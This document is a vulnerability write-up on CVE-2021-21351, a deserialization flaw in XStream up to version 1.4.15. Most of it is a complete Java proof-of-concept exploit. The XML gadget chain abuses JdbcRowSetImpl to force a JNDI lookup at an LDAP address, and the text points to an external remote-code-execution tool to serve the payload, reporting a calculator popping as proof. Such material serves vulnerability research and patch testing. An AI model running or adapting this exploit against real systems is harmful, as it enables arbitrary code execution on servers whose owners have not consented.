0x01 Vulnerability Details
XStream is a tool for converting between Java objects and XML.
XStream creates new instances based on type information contained in the stream processed during unmarshalling. An attacker can manipulate the processed input stream and replace or inject objects, enabling the attacker to execute arbitrary code on the target server.
0X02 Affected Versions
XStream <= 1.4.15
0x03 Environment Setup
Use maven to create the environment.
0x04 POC Reference Link
Refer to the POC link provided by the official project: https://x-stream.github.io/CVE-2021-21351.html
0x05 POC Development
import com.thoughtworks.xstream.XStream;
public class CVE_2021_21351 {
public static void main(String[] args) {
String xml = "<sorted-set>
" +
" <javax.naming.ldap.Rdn_-RdnEntry>
" +
" <type>ysomap</type>
" +
" <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
" +
" <m__DTMXRTreeFrag>
" +
" <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
" +
" <m__size>-10086</m__size>
" +
" <m__mgrDefault>
" +
" <__overrideDefaultParser>false</__overrideDefaultParser>
" +
" <m__incremental>false</m__incremental>
" +
" <m__source__location>false</m__source__location>
" +
" <m__dtms>
" +
" <null/>
" +
" </m__dtms>
" +
" <m__defaultHandler/>
" +
" </m__mgrDefault>
" +
" <m__shouldStripWS>false</m__shouldStripWS>
" +
" <m__indexing>false</m__indexing>
" +
" <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
" +
" <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
" +
" <javax.sql.rowset.BaseRowSet>
" +
" <default>
" +
" <concurrency>1008</concurrency>
" +
" <escapeProcessing>true</escapeProcessing>
" +
" <fetchDir>1000</fetchDir>
" +
" <fetchSize>0</fetchSize>
" +
" <isolation>2</isolation>
" +
" <maxFieldSize>0</maxFieldSize>
" +
" <maxRows>0</maxRows>
" +
" <queryTimeout>0</queryTimeout>
" +
" <readOnly>true</readOnly>
" +
" <rowSetType>1004</rowSetType>
" +
" <showDeleted>false</showDeleted>
" +
" <dataSource>ldap://127.0.0.1:8088/Object</dataSource>
" +
" <listeners/>
" +
" <params/>
" +
" </default>
" +
" </javax.sql.rowset.BaseRowSet>
" +
" <com.sun.rowset.JdbcRowSetImpl>
" +
" <default/>
" +
" </com.sun.rowset.JdbcRowSetImpl>
" +
" </fPullParserConfig>
" +
" <fConfigSetInput>
" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>
" +
" <name>setAutoCommit</name>
" +
" <parameter-types>
" +
" <class>boolean</class>
" +
" </parameter-types>
" +
" </fConfigSetInput>
" +
" <fConfigParse reference='../fConfigSetInput'/>
" +
" <fParseInProgress>false</fParseInProgress>
" +
" </m__incrementalSAXSource>
" +
" <m__walker>
" +
" <nextIsRaw>false</nextIsRaw>
" +
" </m__walker>
" +
" <m__endDocumentOccured>false</m__endDocumentOccured>
" +
" <m__idAttributes/>
" +
" <m__textPendingStart>-1</m__textPendingStart>
" +
" <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
" +
" <m__pastFirstElement>false</m__pastFirstElement>
" +
" </m__dtm>
" +
" <m__dtmIdentity>1</m__dtmIdentity>
" +
" </m__DTMXRTreeFrag>
" +
" <m__dtmRoot>1</m__dtmRoot>
" +
" <m__allowRelease>false</m__allowRelease>
" +
" </value>
" +
" </javax.naming.ldap.Rdn_-RdnEntry>
" +
" <javax.naming.ldap.Rdn_-RdnEntry>
" +
" <type>ysomap</type>
" +
" <value class='com.sun.org.apache.xpath.internal.objects.XString'>
" +
" <m__obj class='string'>test</m__obj>
" +
" </value>
" +
" </javax.naming.ldap.Rdn_-RdnEntry>
" +
"</sorted-set>";
XStream xstream = new XStream();
xstream.fromXML(xml);
}
}
0x06 POC Reproduction
First, download the tool from this link: https://github.com/wyzxxz/fastjson_rce_tool
After downloading it, use the tool as shown below:
Run and test the POC code in a local IDE; the calculator opens:
